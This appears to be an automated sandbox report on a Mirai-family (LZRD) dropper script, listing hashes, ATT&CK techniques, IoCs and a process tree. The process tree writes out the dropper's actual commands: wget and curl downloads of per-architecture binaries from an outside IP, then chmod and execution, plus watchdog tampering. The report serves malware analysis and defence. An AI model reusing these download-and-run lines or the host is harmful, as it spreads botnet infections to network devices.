mirai | ea0bdc1803529bcfa0f6188c15a373ae977699e7f6362d3cc34797c3f857a5d4

Analysis

max time kernel
137s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/12/2024, 19:02

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General

Target

ohshit.sh
Size

3KB
MD5

044a846325b0a1a2a62139e419e0c460
SHA1

b7ba7d24f534c02b73c5e292364f0ba51ce10d79
SHA256

ea0bdc1803529bcfa0f6188c15a373ae977699e7f6362d3cc34797c3f857a5d4
SHA512

8a450e41d886ba67a5044da06f82bac2a3a78874199eb3af57576316b645dfd414bddedc942cde7a047351b88a68b616584182e3fa1242a1237287770401ff1c

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
850	chmod
882	chmod
888	chmod
731	chmod
747	chmod
784	chmod
741	chmod
870	chmod
899	chmod
807	chmod
818	chmod
864	chmod
759	chmod
876	chmod
893	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	733	Chaotic
/tmp/Chaotic	742	Chaotic
/tmp/Chaotic	748	Chaotic
/tmp/Chaotic	761	Chaotic
/tmp/Chaotic	786	Chaotic
/tmp/Chaotic	809	Chaotic
/tmp/Chaotic	819	Chaotic
/tmp/Chaotic	852	Chaotic
/tmp/Chaotic	865	Chaotic
/tmp/Chaotic	871	Chaotic
/tmp/Chaotic	877	Chaotic
/tmp/Chaotic	883	Chaotic
/tmp/Chaotic	889	Chaotic
/tmp/Chaotic	894	Chaotic
/tmp/Chaotic	900	Chaotic

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/470/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/73/status	Chaotic
File opened for reading	/proc/77/status	Chaotic
File opened for reading	/proc/320/status	Chaotic
File opened for reading	/proc/321/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/36/status	Chaotic
File opened for reading	/proc/104/status	Chaotic
File opened for reading	/proc/319/status	Chaotic
File opened for reading	/proc/372/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/23/status	Chaotic
File opened for reading	/proc/519/status	Chaotic
File opened for reading	/proc/801/status	Chaotic
File opened for reading	/proc/74/status	Chaotic
File opened for reading	/proc/78/status	Chaotic
File opened for reading	/proc/165/status	Chaotic
File opened for reading	/proc/699/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/72/status	Chaotic
File opened for reading	/proc/819/status	Chaotic
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/380/status	Chaotic
File opened for reading	/proc/37/status	Chaotic
File opened for reading	/proc/79/status	Chaotic
File opened for reading	/proc/370/status	Chaotic
File opened for reading	/proc/680/status	Chaotic
File opened for reading	/proc/705/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/350/status	Chaotic
File opened for reading	/proc/395/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/67/status	Chaotic
File opened for reading	/proc/143/status	Chaotic
File opened for reading	/proc/700/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/71/status	Chaotic
File opened for reading	/proc/316/status	Chaotic
File opened for reading	/proc/822/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
764	wget
774	curl
783	cat
789	wget
794	curl
806	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:702
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:706
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:729
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-IUODcg ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:733
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:740
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-IUODcg ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:746
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-IUODcg ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:758
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-IUODcg ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:786
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:789
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:809
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:810
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:817
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:819
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:836
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:849
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:852
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:863
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:865
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:869
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:871
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:873
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:875
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:877
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:881
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:883
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:887
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:889
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:892
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:894
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:896
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:898
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
a2a4d994986e8faf41f6a93465b5ebb7

SHA1
ec7cfe849e03096972d3f007f1356a993bfc0f87

SHA256
d01b8d4af85a0a32855a213d123da5621be7d41c0d4ee945369385efd6e9aa05

SHA512
010daa429992b6a3a6f9414b085d46eb017a956f7e53f5042b1a5e914544cb0d61af8ba4b4b5b77b5c0ce22ddbb80b6e14771fb2b2e0253bb6a64826fc4d57f2

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/tmp/Chaotic

Filesize
36KB

MD5
9e7bb41e42c7504efec7e836e163fe46

SHA1
549e82f396bff90ac4e3fce59d6c46eadf787ea0

SHA256
9400da273f496e0bd69a0d23db54b495cefbd53d8248ea29ac8bd694c76ea61c

SHA512
71f9cff71695d2ef4302f65d1d0d29c81d22055acfebab07756312bfe5b8a23d599fb1c516bf91627ca81c4a22131328ae47b23b903a2eb84eac0ac05fc433db

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/tmp/Chaotic

Filesize
37KB

MD5
7806468efe77931f499d3745d05f663a

SHA1
9857a3d135af76c71752f32cf8af92187dc8dec5

SHA256
0bb7782c1cf7f1db17bd26aa749d344c34af7ee0ea97fcdbff439ed8cac2919a

SHA512
c436119fc2b130ce64c25f76eee3b8402795d3362ebab5445c87f5001d85b214fa3dd89270aa60036ee7cd8d584ba75c98444e9364d4d69849fbcde9bbe7387e

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/tmp/Chaotic

Filesize
43KB

MD5
d2465eef57eedb6d448b73a3d9dd5ff8

SHA1
1a3158635d76b4ddbb98c68ed4117537d980613d

SHA256
1a9ca051ddcecd5b4af6aa14d6cea45855e1080790492cf4ee85472ec44054b2

SHA512
35db42f35d09fc14122914ba967d7462e64005f608f35ec60e7931ec8a48c64361b95dc84202db8b897c10549db8618eabfe6700bd0d7b53f75230db8ba28189

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/tmp/Chaotic

Filesize
95KB

MD5
605f83cafa6c73cc8f1a33471e895f26

SHA1
78f46431f57eab5dbba7b8c5ed4f247d224d70d2

SHA256
571bf88bb53f14ccfca66cadbd9e06843afd1541e91cdc722a18bb5d2fa57561

SHA512
ab69a449bcabc7991ad4502c80d335710186617255aa65fc585a4e54dcf003f4759f93c6ec39f0c152cc9e6c3b7596ed246576bcdb94f54924ee1a6d1eba40b0

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/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
8cdbb53e27e069f0f5b84f23670b778f

SHA1
9192d6cbb193b78a702a1c386a147c86cbd33619

SHA256
c5ded3bbea87c4329b2326e65755ec99841a393472d17297c342ee32f48b31e9

SHA512
bf393682182c5c4d36d05e646498548c9f0628bc286eb3a74c7892ab868fa2446144d45dd1530517f620b505e82fcc688a03e8eb9a8b7bc8e9ef73efa693e669

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads